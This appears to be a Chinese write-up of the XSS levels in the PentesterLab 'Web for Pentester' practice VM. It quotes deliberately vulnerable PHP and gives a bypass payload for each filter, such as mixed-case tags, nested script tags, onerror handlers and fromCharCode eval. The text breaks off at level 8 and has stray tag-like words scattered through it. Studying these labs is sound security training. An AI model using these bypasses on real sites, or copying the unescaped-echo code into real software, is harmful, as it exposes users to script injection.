官網:https://pentesterlab.com/
下載地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
安裝方法:虛擬機按照,該靶場是封裝在debian系統裏,安裝完成打開,ifconfig查看ip地址:
而後直接訪問ip便可
web for pentester默認沒有root密碼,能夠來設置密碼,方便ssh鏈接等查看源碼php
sudo passwd
<?php echo $_GET["name"]; ?>
沒有任何的過濾,直接將get獲取的打印html
/xss/example1.php?name=
git
<?php $name = $_GET["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/<\/script>/","", $name); echo $name; ?>
這裏經過preg_replace()函數來正則,可是這種匹配是有缺陷的,沒有匹配大小寫,能夠經過大小寫繞過
github
/xss/example2.php?name=<Script>alert('xss')</Script>
<?php $name = $_GET["name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/<\/script>/i","", $name); echo $name; ?>
在第二關的基礎上加了/i,使之匹配不區分大小寫,preg_replace()函數將匹配到的,替換成空格,可是隻匹配了一次,相似sql注入(Seselectlect),能夠嵌套<script>,匹配到了,替換成空格變成咱們想要的了web
/xss/example3.php?name=<sc<script>ript>alert('xss')</sc</script>ript>
<?php require_once '../header.php'; if (preg_match('/script/i', $_GET["name"])) { die("error"); } ?> Hello <?php echo $_GET["name"]; ?>
對script進行了不區分大小寫,匹配若是匹配到,就執行die("error"),終止程序,因此scirpt不能用,只能經過其餘標籤來觸發js事件,可以使用onerror事件,來執行js
sql
/xss/example4.php?name=<img src="xss" onerror=alert('xss')>
<?php require_once '../header.php'; if (preg_match('/alert/i', $_GET["name"])) { die("error"); } ?> Hello <?php echo $_GET["name"]; ?>
對alert進行了過濾瀏覽器
、ssh
/xss/example5.php?name=<script>confirm('xss')</script> /xss/example5.php?name=<script>prompt('xss')</script> /xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
<script> var $a= "<?php echo $_GET["name"]; ?>"; </script>
經過get的方式傳入name變量,輸入賦值給全局變量a,能夠經過閉合雙引號或者註釋雙引號來增長咱們的js代碼xss
/xss/example6.php?name=";alert('xss');" /xss/example6.php?name=";alert('xss');//
<script> var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script>
和第八關類似htmlentities()會把字符轉換爲HTML實體,會將雙引號進行編碼,但不編碼單引號,這裏使用的是單引好因此能夠繼續包含和註釋函數
/xss/example7.php?name=';alert('xss');' /xss/example7.php?name=';alert('xss');//
<?php require_once '../header.php'; if (isset($_POST["name"])) { echo "HELLO ".htmlentities($_POST["name"]); } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Your name:<input type="text" name="name" /> <input type="submit" name="submit"/>
name變量經過form表單以post方式傳入,而後經過htmlentities函數實體化後輸出來,並未找到破解的方法。而後觀察